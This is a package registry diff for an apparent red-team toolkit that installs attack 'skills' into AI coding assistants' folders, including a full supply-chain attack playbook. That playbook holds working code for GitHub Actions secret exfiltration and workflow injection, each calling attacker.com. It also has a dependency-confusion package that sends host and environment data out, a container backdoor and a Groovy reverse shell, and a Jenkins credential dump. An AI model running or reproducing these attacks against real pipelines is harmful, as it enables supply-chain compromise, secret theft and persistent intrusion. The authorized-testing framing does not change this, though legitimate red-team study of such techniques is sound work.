rtexit-method 0.1.2 → 0.1.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -2
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +115 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +147 -0
- package/packaged-assets/.agents/skills/rt-exploit-adcs/SKILL.md +395 -0
- package/packaged-assets/.agents/skills/rt-kubernetes/SKILL.md +377 -0
- package/packaged-assets/.agents/skills/rt-lsass-dumping/SKILL.md +273 -0
- package/packaged-assets/.agents/skills/rt-social-engineering/SKILL.md +401 -0
- package/packaged-assets/.agents/skills/rt-supply-chain/SKILL.md +322 -0
- package/tools/installer/commands/install.js +8 -1
- package/tools/installer/lib/asset-manifest.js +20 -11
- package/tools/installer/lib/copy-assets.js +2 -2
- package/tools/installer/lib/prompts.js +13 -1
|
@@ -0,0 +1,322 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-supply-chain
|
|
3
|
+
description: "Supply chain attack simulation for authorized red team engagements. GitHub Actions workflow compromise, CI/CD pipeline secret extraction, npm/PyPI/RubyGems package dependency confusion, container registry poisoning, dependency hijacking, and build system compromise. Use when engagement scope includes development infrastructure, CI/CD pipelines, or software supply chain testing."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-supply-chain — Supply Chain Attack Simulation
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Supply chain attacks target the development and delivery pipeline rather than production systems directly. A single compromised dependency, CI/CD pipeline, or build system can grant persistent access to every downstream consumer. Supply chain was the attack vector in SolarWinds, XZ Utils, and numerous npm/PyPI incidents.
|
|
11
|
+
|
|
12
|
+
**Attack surfaces:**
|
|
13
|
+
- CI/CD pipelines (GitHub Actions, GitLab CI, Jenkins, CircleCI)
|
|
14
|
+
- Package managers (npm, PyPI, RubyGems, Maven, NuGet)
|
|
15
|
+
- Container registries (Docker Hub, ECR, GCR)
|
|
16
|
+
- Build systems and artifact repositories
|
|
17
|
+
- Third-party integrations and OAuth apps
|
|
18
|
+
|
|
19
|
+
---
|
|
20
|
+
|
|
21
|
+
## Phase 1 — Reconnaissance: Map the Supply Chain
|
|
22
|
+
|
|
23
|
+
```bash
|
|
24
|
+
# Find what CI/CD system is used
|
|
25
|
+
# GitHub: look for .github/workflows/*.yml
|
|
26
|
+
# GitLab: .gitlab-ci.yml
|
|
27
|
+
# Jenkins: Jenkinsfile
|
|
28
|
+
# CircleCI: .circleci/config.yml
|
|
29
|
+
|
|
30
|
+
# Enumerate org's GitHub Actions workflows
|
|
31
|
+
gh api /repos/ORG/REPO/actions/workflows | jq '.workflows[].name'
|
|
32
|
+
|
|
33
|
+
# Find exposed secrets in public repos
|
|
34
|
+
trufflehog github --org=TARGET_ORG --only-verified
|
|
35
|
+
gitleaks detect --source . --verbose
|
|
36
|
+
|
|
37
|
+
# Find dependency files
|
|
38
|
+
find . -name "package.json" -o -name "requirements.txt" \
|
|
39
|
+
-o -name "Gemfile" -o -name "pom.xml" -o -name "go.mod"
|
|
40
|
+
|
|
41
|
+
# Check npm packages used
|
|
42
|
+
cat package.json | jq '.dependencies, .devDependencies'
|
|
43
|
+
|
|
44
|
+
# Check for internal package names (dependency confusion targets)
|
|
45
|
+
# Internal names often: @company/internal-lib, company-utils, etc.
|
|
46
|
+
cat package.json | grep -i "internal\|private\|corp\|company"
|
|
47
|
+
```
|
|
48
|
+
|
|
49
|
+
---
|
|
50
|
+
|
|
51
|
+
## Phase 2 — GitHub Actions Pipeline Compromise
|
|
52
|
+
|
|
53
|
+
### 2a — GITHUB_TOKEN Abuse (Excessive Permissions)
|
|
54
|
+
|
|
55
|
+
```bash
|
|
56
|
+
# GITHUB_TOKEN is auto-provided to every workflow
|
|
57
|
+
# If permissions are write-all → can push to repo, create releases, etc.
|
|
58
|
+
|
|
59
|
+
# Check workflow permissions
|
|
60
|
+
cat .github/workflows/deploy.yml | grep -A5 "permissions:"
|
|
61
|
+
# Dangerous: permissions: write-all OR contents: write + packages: write
|
|
62
|
+
|
|
63
|
+
# In a compromised workflow run context:
|
|
64
|
+
# Exfiltrate GITHUB_TOKEN
|
|
65
|
+
- name: exfil
|
|
66
|
+
run: |
|
|
67
|
+
curl -H "Authorization: token ${{ secrets.GITHUB_TOKEN }}" \
|
|
68
|
+
https://api.github.com/user
|
|
69
|
+
|
|
70
|
+
# Use GITHUB_TOKEN to push to protected branch
|
|
71
|
+
git config user.email "action@github.com"
|
|
72
|
+
git config user.name "GitHub Actions"
|
|
73
|
+
git remote set-url origin https://x-access-token:${{ secrets.GITHUB_TOKEN }}@github.com/ORG/REPO
|
|
74
|
+
git push origin main --force
|
|
75
|
+
```
|
|
76
|
+
|
|
77
|
+
### 2b — Secret Extraction from Workflow
|
|
78
|
+
|
|
79
|
+
```bash
|
|
80
|
+
# Secrets are masked in logs but can be extracted via encoding tricks
|
|
81
|
+
# (In authorized tests only — demonstrates the risk)
|
|
82
|
+
|
|
83
|
+
# Exfil via base64 (bypasses log masking for short secrets)
|
|
84
|
+
- name: exfil-secrets
|
|
85
|
+
run: |
|
|
86
|
+
echo "${{ secrets.AWS_SECRET_ACCESS_KEY }}" | base64 | \
|
|
87
|
+
curl -X POST https://attacker.com/collect -d @-
|
|
88
|
+
|
|
89
|
+
# Exfil via environment variable split
|
|
90
|
+
- name: exfil-split
|
|
91
|
+
run: |
|
|
92
|
+
secret="${{ secrets.DATABASE_PASSWORD }}"
|
|
93
|
+
echo "${secret:0:4}"
|
|
94
|
+
echo "${secret:4:4}"
|
|
95
|
+
# Piece together from logs
|
|
96
|
+
```
|
|
97
|
+
|
|
98
|
+
### 2c — Workflow Injection (Pull Request from Fork)
|
|
99
|
+
|
|
100
|
+
```yaml
|
|
101
|
+
# Vulnerable workflow: uses pull_request_target + checks out PR code
|
|
102
|
+
# Attacker creates fork, modifies workflow, opens PR
|
|
103
|
+
|
|
104
|
+
# Vulnerable (target's workflow):
|
|
105
|
+
on:
|
|
106
|
+
pull_request_target:
|
|
107
|
+
types: [opened]
|
|
108
|
+
jobs:
|
|
109
|
+
test:
|
|
110
|
+
runs-on: ubuntu-latest
|
|
111
|
+
steps:
|
|
112
|
+
- uses: actions/checkout@v3
|
|
113
|
+
with:
|
|
114
|
+
ref: ${{ github.event.pull_request.head.sha }} # ← checks out attacker code
|
|
115
|
+
- run: npm test # ← runs attacker's package.json scripts
|
|
116
|
+
|
|
117
|
+
# Attacker's fork — modify package.json:
|
|
118
|
+
{
|
|
119
|
+
"scripts": {
|
|
120
|
+
"test": "curl https://attacker.com/exfil?token=$GITHUB_TOKEN"
|
|
121
|
+
}
|
|
122
|
+
}
|
|
123
|
+
```
|
|
124
|
+
|
|
125
|
+
### 2d — Compromised GitHub Action (Third-Party Action Abuse)
|
|
126
|
+
|
|
127
|
+
```bash
|
|
128
|
+
# Many workflows use third-party actions pinned to branch (not commit hash)
|
|
129
|
+
# If action is compromised (maintainer account takeover), all users affected
|
|
130
|
+
|
|
131
|
+
# Check for unpinned actions
|
|
132
|
+
grep -r "uses:" .github/workflows/ | grep -v "@[a-f0-9]\{40\}"
|
|
133
|
+
# Dangerous: actions/checkout@v3 (branch tag, not commit SHA)
|
|
134
|
+
# Safe: actions/checkout@2d7d9f7789898b426… (full SHA)
|
|
135
|
+
|
|
136
|
+
# Demonstrate risk: if you control the action repo
|
|
137
|
+
# Modify action.yml entrypoint to exfiltrate secrets before running real action
|
|
138
|
+
```
|
|
139
|
+
|
|
140
|
+
---
|
|
141
|
+
|
|
142
|
+
## Phase 3 — Dependency Confusion Attack
|
|
143
|
+
|
|
144
|
+
```bash
|
|
145
|
+
# Target uses private package @corp/internal-utils (not published to public npm)
|
|
146
|
+
# If NOT published publicly → attacker can publish a malicious version
|
|
147
|
+
|
|
148
|
+
# Step 1: Find internal package names
|
|
149
|
+
# Search GitHub for "require('@corp/", "from '@corp/"
|
|
150
|
+
gh search code "require('@corp/" --language=JavaScript
|
|
151
|
+
# Or: check exposed package.json in public repos
|
|
152
|
+
|
|
153
|
+
# Step 2: Check if name is taken on public registry
|
|
154
|
+
npm view @corp/internal-utils # If "404 Not Found" → vulnerable
|
|
155
|
+
|
|
156
|
+
# Step 3: Register the name with a higher version
|
|
157
|
+
# Create malicious package:
|
|
158
|
+
mkdir corp-internal-utils && cd corp-internal-utils
|
|
159
|
+
cat > package.json << 'EOF'
|
|
160
|
+
{
|
|
161
|
+
"name": "@corp/internal-utils",
|
|
162
|
+
"version": "9.9.9",
|
|
163
|
+
"description": "dependency confusion PoC",
|
|
164
|
+
"main": "index.js"
|
|
165
|
+
}
|
|
166
|
+
EOF
|
|
167
|
+
|
|
168
|
+
cat > index.js << 'EOF'
|
|
169
|
+
const os = require('os');
|
|
170
|
+
const https = require('https');
|
|
171
|
+
const data = JSON.stringify({
|
|
172
|
+
hostname: os.hostname(),
|
|
173
|
+
user: os.userInfo().username,
|
|
174
|
+
platform: os.platform(),
|
|
175
|
+
env: Object.keys(process.env)
|
|
176
|
+
});
|
|
177
|
+
const req = https.request({hostname: 'attacker.com', path: '/dc', method: 'POST',
|
|
178
|
+
headers: {'Content-Type': 'application/json'}});
|
|
179
|
+
req.write(data); req.end();
|
|
180
|
+
EOF
|
|
181
|
+
|
|
182
|
+
# Publish
|
|
183
|
+
npm publish --access public
|
|
184
|
+
# npm install will now pull version 9.9.9 (higher than any internal version)
|
|
185
|
+
```
|
|
186
|
+
|
|
187
|
+
---
|
|
188
|
+
|
|
189
|
+
## Phase 4 — Container Registry Attacks
|
|
190
|
+
|
|
191
|
+
### 4a — Public Registry Typosquatting
|
|
192
|
+
|
|
193
|
+
```bash
|
|
194
|
+
# Find what base images target uses
|
|
195
|
+
grep -r "FROM " Dockerfile* docker-compose* .github/workflows/
|
|
196
|
+
|
|
197
|
+
# Common typosquats:
|
|
198
|
+
# ubuntu:20.04 → ubnutu:20.04 (typo)
|
|
199
|
+
# nginx:latest → ngnix:latest
|
|
200
|
+
# python:3.11 → pytohn:3.11
|
|
201
|
+
|
|
202
|
+
# Register typosquatted image on Docker Hub
|
|
203
|
+
# Add malicious layer that exfils secrets at container start
|
|
204
|
+
```
|
|
205
|
+
|
|
206
|
+
### 4b — ECR / GCR / ACR Misconfiguration
|
|
207
|
+
|
|
208
|
+
```bash
|
|
209
|
+
# AWS ECR — check for public access
|
|
210
|
+
aws ecr describe-repositories --region us-east-1
|
|
211
|
+
aws ecr get-repository-policy --repository-name TARGET_REPO --region us-east-1
|
|
212
|
+
|
|
213
|
+
# If public: pull and inspect layers for hardcoded secrets
|
|
214
|
+
docker pull 123456789.dkr.ecr.us-east-1.amazonaws.com/target-app:latest
|
|
215
|
+
docker history 123456789.dkr.ecr.us-east-1.amazonaws.com/target-app:latest
|
|
216
|
+
docker save target-app:latest | tar x
|
|
217
|
+
# Inspect each layer tar for secrets
|
|
218
|
+
|
|
219
|
+
# Dive tool — better layer inspection
|
|
220
|
+
dive 123456789.dkr.ecr.us-east-1.amazonaws.com/target-app:latest
|
|
221
|
+
```
|
|
222
|
+
|
|
223
|
+
### 4c — Image Poisoning (After Registry Access)
|
|
224
|
+
|
|
225
|
+
```bash
|
|
226
|
+
# If registry write access obtained (via stolen CI/CD creds or IAM misconfiguration)
|
|
227
|
+
# Build malicious image based on legitimate one
|
|
228
|
+
|
|
229
|
+
FROM legitimate-app:1.2.3
|
|
230
|
+
# Add backdoor layer
|
|
231
|
+
RUN echo '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER/4444 0>&1' > /usr/local/bin/healthcheck && \
|
|
232
|
+
chmod +x /usr/local/bin/healthcheck
|
|
233
|
+
CMD ["/usr/local/bin/start-with-backdoor.sh"]
|
|
234
|
+
|
|
235
|
+
# Push with same tag — replaces production image
|
|
236
|
+
docker tag malicious-app:latest REGISTRY/legitimate-app:1.2.3
|
|
237
|
+
docker push REGISTRY/legitimate-app:1.2.3
|
|
238
|
+
```
|
|
239
|
+
|
|
240
|
+
---
|
|
241
|
+
|
|
242
|
+
## Phase 5 — Jenkins & Build System Attacks
|
|
243
|
+
|
|
244
|
+
```bash
|
|
245
|
+
# Find Jenkins
|
|
246
|
+
nmap -sV -p 8080,8443,50000 TARGET_RANGE
|
|
247
|
+
# Check for open dashboard (no auth)
|
|
248
|
+
curl http://TARGET:8080/view/all/newJob
|
|
249
|
+
|
|
250
|
+
# Groovy script execution (if admin access)
|
|
251
|
+
# Jenkins → Manage Jenkins → Script Console
|
|
252
|
+
Thread.start {
|
|
253
|
+
def cmd = "id"
|
|
254
|
+
def proc = cmd.execute()
|
|
255
|
+
proc.waitFor()
|
|
256
|
+
println proc.text
|
|
257
|
+
}
|
|
258
|
+
|
|
259
|
+
# Groovy reverse shell
|
|
260
|
+
Thread.start {
|
|
261
|
+
String host="ATTACKER_IP"
|
|
262
|
+
int port=4444
|
|
263
|
+
String cmd="bash"
|
|
264
|
+
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start()
|
|
265
|
+
Socket s=new Socket(host,port)
|
|
266
|
+
InputStream pi=p.getInputStream(), si=s.getInputStream()
|
|
267
|
+
OutputStream po=p.getOutputStream(), so=s.getOutputStream()
|
|
268
|
+
while(!s.isClosed()) {
|
|
269
|
+
while(pi.available()>0) so.write(pi.read())
|
|
270
|
+
while(si.available()>0) po.write(si.read())
|
|
271
|
+
so.flush(); po.flush()
|
|
272
|
+
Thread.sleep(50)
|
|
273
|
+
}
|
|
274
|
+
}
|
|
275
|
+
|
|
276
|
+
# Extract credentials from Jenkins credential store
|
|
277
|
+
# Script Console:
|
|
278
|
+
import jenkins.model.Jenkins
|
|
279
|
+
import com.cloudbees.plugins.credentials.*
|
|
280
|
+
import com.cloudbees.plugins.credentials.impl.*
|
|
281
|
+
|
|
282
|
+
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
|
|
283
|
+
com.cloudbees.plugins.credentials.common.StandardUsernameCredentials.class,
|
|
284
|
+
Jenkins.instance, null, null)
|
|
285
|
+
for (c in creds) {
|
|
286
|
+
println c.id + " : " + c.username + " : " + c.password
|
|
287
|
+
}
|
|
288
|
+
```
|
|
289
|
+
|
|
290
|
+
---
|
|
291
|
+
|
|
292
|
+
## Skill Levels
|
|
293
|
+
|
|
294
|
+
**BEGINNER:**
|
|
295
|
+
- Dependency confusion: check if internal package names are registered publicly
|
|
296
|
+
- GitHub Actions: find secrets in workflow logs
|
|
297
|
+
- Docker layer inspection for hardcoded credentials
|
|
298
|
+
|
|
299
|
+
**INTERMEDIATE:**
|
|
300
|
+
- Dependency confusion: publish proof-of-concept package
|
|
301
|
+
- GitHub Actions workflow injection via pull_request_target
|
|
302
|
+
- Jenkins credential extraction via Groovy console
|
|
303
|
+
|
|
304
|
+
**ADVANCED:**
|
|
305
|
+
- GITHUB_TOKEN abuse to push to protected branches
|
|
306
|
+
- Container registry image poisoning
|
|
307
|
+
- CI/CD pipeline secret extraction via log manipulation
|
|
308
|
+
|
|
309
|
+
**EXPERT:**
|
|
310
|
+
- Third-party GitHub Action compromise simulation
|
|
311
|
+
- Multi-hop supply chain: package → CI/CD → production deployment
|
|
312
|
+
- Build system backdoor persistence
|
|
313
|
+
|
|
314
|
+
---
|
|
315
|
+
|
|
316
|
+
## References
|
|
317
|
+
|
|
318
|
+
- Research paper: https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
|
|
319
|
+
- GitHub Actions security: https://securitylab.github.com/research/github-actions-preventing-pwn-requests/
|
|
320
|
+
- SLSA framework: https://slsa.dev
|
|
321
|
+
- MITRE ATT&CK T1195: https://attack.mitre.org/techniques/T1195/
|
|
322
|
+
- Snyk supply chain guide: https://snyk.io/blog/software-supply-chain-security/
|
|
@@ -20,7 +20,8 @@ async function installCommand(options = {}) {
|
|
|
20
20
|
|
|
21
21
|
const targetRoot = resolveTargetRoot(answers.targetDirectory);
|
|
22
22
|
|
|
23
|
-
|
|
23
|
+
const ides = answers.ides && answers.ides.length ? answers.ides : ['agents'];
|
|
24
|
+
await copyPackagedAssets({ repoRoot, targetRoot, ides });
|
|
24
25
|
await writeUserConfig({
|
|
25
26
|
targetRoot,
|
|
26
27
|
answers: {
|
|
@@ -29,7 +30,13 @@ async function installCommand(options = {}) {
|
|
|
29
30
|
},
|
|
30
31
|
});
|
|
31
32
|
|
|
33
|
+
const ideFolders = ides.map((ide) => {
|
|
34
|
+
const map = { agents: '.agents/skills', claude: '.claude/skills', trae: '.trae/skills', codex: '.codex/skills' };
|
|
35
|
+
return map[ide] || `.${ide}/skills`;
|
|
36
|
+
});
|
|
37
|
+
|
|
32
38
|
io.log('RTExit installed successfully.');
|
|
39
|
+
io.log(`Skills installed into: ${ideFolders.join(', ')}`);
|
|
33
40
|
io.log('Next steps:');
|
|
34
41
|
io.log('1. Open _rtexit/config.user.toml and complete client/project details');
|
|
35
42
|
io.log('2. Open your AI IDE in this project');
|
|
@@ -1,15 +1,24 @@
|
|
|
1
|
-
|
|
1
|
+
const IDE_SKILL_FOLDERS = {
|
|
2
|
+
agents: '.agents/skills',
|
|
3
|
+
claude: '.claude/skills',
|
|
4
|
+
trae: '.trae/skills',
|
|
5
|
+
codex: '.codex/skills',
|
|
6
|
+
};
|
|
7
|
+
|
|
8
|
+
function getInstallEntries(ides = ['agents']) {
|
|
9
|
+
const skillEntries = ides.map((ide) => ({
|
|
10
|
+
type: 'glob-dir-prefix',
|
|
11
|
+
base: 'packaged-assets/.agents/skills',
|
|
12
|
+
targetBase: IDE_SKILL_FOLDERS[ide] || `.${ide}/skills`,
|
|
13
|
+
prefix: 'rt-',
|
|
14
|
+
}));
|
|
15
|
+
|
|
2
16
|
return [
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
},
|
|
9
|
-
{ type: 'path', value: 'packaged-assets/_rtexit', target: '_rtexit' },
|
|
10
|
-
{ type: 'path', value: 'packaged-assets/templates', target: 'templates' },
|
|
11
|
-
{ type: 'path', value: 'packaged-assets/resources', target: 'resources' },
|
|
12
|
-
{ type: 'path', value: 'packaged-assets/RTEXIT.md', target: 'RTEXIT.md' }
|
|
17
|
+
...skillEntries,
|
|
18
|
+
{ type: 'path', value: 'packaged-assets/_rtexit', target: '_rtexit' },
|
|
19
|
+
{ type: 'path', value: 'packaged-assets/templates', target: 'templates' },
|
|
20
|
+
{ type: 'path', value: 'packaged-assets/resources', target: 'resources' },
|
|
21
|
+
{ type: 'path', value: 'packaged-assets/RTEXIT.md', target: 'RTEXIT.md' },
|
|
13
22
|
];
|
|
14
23
|
}
|
|
15
24
|
|
|
@@ -17,8 +17,8 @@ function copyRecursive(source, target) {
|
|
|
17
17
|
fs.copyFileSync(source, target);
|
|
18
18
|
}
|
|
19
19
|
|
|
20
|
-
async function copyPackagedAssets({ repoRoot, targetRoot }) {
|
|
21
|
-
for (const entry of getInstallEntries()) {
|
|
20
|
+
async function copyPackagedAssets({ repoRoot, targetRoot, ides }) {
|
|
21
|
+
for (const entry of getInstallEntries(ides)) {
|
|
22
22
|
if (entry.type === 'path') {
|
|
23
23
|
const sourcePath = path.join(repoRoot, entry.value);
|
|
24
24
|
const targetPath = path.join(targetRoot, entry.target || entry.value);
|
|
@@ -22,12 +22,24 @@ async function askInstallQuestions({ cwd }) {
|
|
|
22
22
|
],
|
|
23
23
|
});
|
|
24
24
|
|
|
25
|
+
const ides = await prompts.multiselect({
|
|
26
|
+
message: 'Which AI IDEs are you using? (space to select, enter to confirm)',
|
|
27
|
+
options: [
|
|
28
|
+
{ value: 'agents', label: 'Cursor / Windsurf / VS Code (.agents/skills/)' },
|
|
29
|
+
{ value: 'claude', label: 'Claude Code (.claude/skills/)' },
|
|
30
|
+
{ value: 'trae', label: 'Trae (.trae/skills/)' },
|
|
31
|
+
{ value: 'codex', label: 'Codex / OpenAI (.codex/skills/)' },
|
|
32
|
+
],
|
|
33
|
+
initialValues: ['agents'],
|
|
34
|
+
required: true,
|
|
35
|
+
});
|
|
36
|
+
|
|
25
37
|
const confirmed = await prompts.confirm({
|
|
26
38
|
message: `Install RTExit into ${targetDirectory}?`,
|
|
27
39
|
initialValue: true,
|
|
28
40
|
});
|
|
29
41
|
|
|
30
|
-
return { targetDirectory, language, document_output_language, confirmed };
|
|
42
|
+
return { targetDirectory, language, document_output_language, ides, confirmed };
|
|
31
43
|
}
|
|
32
44
|
|
|
33
45
|
module.exports = { askInstallQuestions };
|